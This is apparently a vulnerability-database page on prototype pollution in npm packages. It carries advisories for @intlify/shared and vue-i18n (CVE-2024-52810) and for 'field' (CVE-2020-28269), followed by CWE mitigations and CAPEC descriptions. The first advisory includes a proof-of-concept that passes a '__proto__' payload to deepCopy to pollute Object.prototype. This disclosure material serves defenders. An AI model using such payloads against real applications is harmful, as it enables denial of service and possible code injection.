// for multiple functions, uncomment only one for each execution.
lib.deepCopy (JSON.parse('{"__proto__":{"pollutedKey":123}}'), someObj)
} catch (e) { }
console.log("After Attack: ", JSON.stringify({}.__proto__));
delete Object.prototype.pollutedKey;
})();

References

Prototype Pollution Leading to Remote Code Execution - An example of how prototype pollution can lead to command code injection.

OWASP Prototype Pollution Prevention Cheat Sheet - Best practices for preventing prototype pollution.

PortSwigger Guide on Preventing Prototype Pollution - A detailed guide to securing your applications against prototype pollution.

Severity
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@intlify/shared"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.7.0"
            },
            {
              "fixed": "9.14.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@intlify/vue-i18n-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.7.0"
            },
            {
              "fixed": "9.14.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "vue-i18n"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.7.0"
            },
            {
              "fixed": "9.14.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "petite-vue-i18n"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0"
            },
            {
              "fixed": "10.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@intlify/shared"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0"
            },
            {
              "fixed": "10.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@intlify/vue-i18n-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0"
            },
            {
              "fixed": "10.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "vue-i18n"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0"
            },
            {
              "fixed": "10.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-52810"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-12-02T17:26:47Z",
    "nvd_published_at": "2024-11-29T19:15:09Z",
    "severity": "MODERATE"
  },
  "details": "**Vulnerability type: Prototype Pollution**\n\n**Affected Package:**\n\nProduct: @intlify/shared\nVersion: 10.0.4\n\n\n**Vulnerability Location(s):**\n\n`node_modules/@intlify/shared/dist/shared.cjs:232:26`\n\n\n**Description:**\n\nThe latest version of `@intlify/shared (10.0.4)` is vulnerable to Prototype Pollution through the entry function(s) `lib.deepCopy`. An attacker can supply a payload with `Object.prototype` setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) the minimum consequence.\n\nMoreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application\u0027s context.\n\n**PoC:**\n\n```bash\n// install the package with the latest version\n~$ npm install @intlify/shared@10.0.4\n// run the script mentioned below \n~$ node poc.js\n//The expected output (if the code still vulnerable) is below. \n// Note that the output may slightly differs from function to another.\nBefore Attack:  {}\nAfter Attack:  {\"pollutedKey\":123}\n```\n\n\n```js\n(async () =\u003e {\nconst lib = await import(\u0027@intlify/shared\u0027);\nvar someObj = {}\nconsole.log(\"Before Attack: \", JSON.stringify({}.__proto__));\ntry {\n// for multiple functions, uncomment only one for each execution.\nlib.deepCopy (JSON.parse(\u0027{\"__proto__\":{\"pollutedKey\":123}}\u0027), someObj)\n} catch (e) { }\nconsole.log(\"After Attack: \", JSON.stringify({}.__proto__));\ndelete Object.prototype.pollutedKey;\n})();\n```\n\n**References**\n\n[Prototype Pollution Leading to Remote Code Execution](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) - An example of how prototype pollution can lead to command code injection.\n\n[OWASP Prototype Pollution Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Prototype_Pollution_Prevention_Cheat_Sheet.html) - Best practices for preventing prototype pollution.\n\n[PortSwigger Guide on Preventing Prototype Pollution](https://portswigger.net/web-security/prototype-pollution/preventing) - A detailed guide to securing your applications against prototype pollution.",
  "id": "GHSA-hjwq-mjwj-4x6c",
  "modified": "2024-12-02T17:26:47Z",
  "published": "2024-12-02T17:26:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/intlify/vue-i18n/security/advisories/GHSA-hjwq-mjwj-4x6c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-52810"
    },
    {
      "type": "WEB",
      "url": "https://github.com/intlify/vue-i18n/commit/9f20909ef8c9232a1072d7818e12ed6d6451024d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/intlify/vue-i18n"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "@intlify/shared Prototype Pollution vulnerability"
}

GHSA-HM82-QR45-H7MW

Vulnerability from github – Published: 2021-12-10 17:22 – Updated: 2023-09-08 22:51
VLAI
Summary
Prototype Pollution in field
Details

Prototype pollution vulnerability in 'field' versions 0.0.1 through 1.0.1 allows attacker to cause a denial of service and may lead to remote code execution.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "field"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.0.1"
            },
            {
              "last_affected": "1.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-28269"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-07-26T18:23:15Z",
    "nvd_published_at": "2020-11-12T18:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Prototype pollution vulnerability in \u0027field\u0027 versions 0.0.1 through 1.0.1 allows attacker to cause a denial of service and may lead to remote code execution.",
  "id": "GHSA-hm82-qr45-h7mw",
  "modified": "2023-09-08T22:51:04Z",
  "published": "2021-12-10T17:22:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-28269"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jprichardson/field/blob/2a3811dfc4cdd13833977477d2533534fc61ce06/lib/field.js#L39"
    },
    {
      "type": "WEB",
      "url": "https://www.whitesourcesoftware.com/vulnerability-database/CVE-2020-28269"
    },
    {
      "type": "WEB",
      "url": "https://www.whitesourcesoftware.com/vulnerability-database/CVE-2020-28269,"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution in field"
}
Mitigation
Implementation

By freezing the object prototype first (for example, Object.freeze(Object.prototype)), modification of the prototype becomes impossible.

Mitigation
Architecture and Design

By blocking modifications of attributes that resolve to object prototype, such as proto or prototype, this weakness can be mitigated.

Mitigation
Implementation

Strategy: Input Validation

When handling untrusted objects, validating using a schema can be used.

Mitigation
Implementation

By using an object without prototypes (via Object.create(null) ), adding object prototype attributes by accessing the prototype via the special attributes becomes impossible, mitigating this weakness.

Mitigation
Implementation

Map can be used instead of objects in most cases. If Map methods are used instead of object attributes, it is not possible to access the object prototype or modify it.

CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs

In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.

CAPEC-180: Exploiting Incorrectly Configured Access Control Security Levels

An attacker exploits a weakness in the configuration of access controls and is able to bypass the intended protection that these measures guard against and thereby obtain unauthorized access to the system or network. Sensitive functionality should always be protected with access controls. However configuring all but the most trivial access control systems can be very complicated and there are many opportunities for mistakes. If an attacker can learn of incorrectly configured access security settings, they may be able to exploit this in an attack.

CAPEC-77: Manipulating User-Controlled Variables

This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.

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